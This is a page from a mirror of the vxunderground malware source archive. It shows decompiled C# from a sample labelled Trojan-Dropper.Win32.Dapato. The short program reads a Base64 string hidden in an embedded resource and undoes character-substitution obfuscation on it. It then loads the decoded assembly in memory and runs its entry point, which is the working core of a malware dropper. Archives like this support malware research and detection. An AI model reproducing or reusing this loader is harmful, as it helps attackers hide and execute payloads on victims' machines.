mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
26 lines
1014 B
C#
26 lines
1014 B
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: UGTpllkvZqi
|
|||
|
// Assembly: eks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 5DEB1E80-56C6-49BC-91E4-B28B44122BBB
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.beri-f805abca58f0933dc66b09f7b9886394a92d481343df2851415f673b2b7ca0f2.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections;
|
|||
|
using System.Reflection;
|
|||
|
using System.Resources;
|
|||
|
|
|||
|
internal class UGTpllkvZqi
|
|||
|
{
|
|||
|
public static void Main()
|
|||
|
{
|
|||
|
ArrayList arrayList = new ArrayList();
|
|||
|
Assembly.Load(UGTpllkvZqi.getbu(UGTpllkvZqi.gety(new ResourceManager("YLYkZhfJbHWYtY", typeof (UGTpllkvZqi).Assembly)))).EntryPoint.Invoke((object) null, (object[]) null);
|
|||
|
}
|
|||
|
|
|||
|
public static string gety(ResourceManager str) => str.GetString("uvWRxXpwDzcJlbSV");
|
|||
|
|
|||
|
public static byte[] getblu(string str) => Convert.FromBase64String(str.Replace("_Y_", "/").Replace("_U_", "="));
|
|||
|
|
|||
|
public static byte[] getbu(string str) => UGTpllkvZqi.getblu(str);
|
|||
|
}
|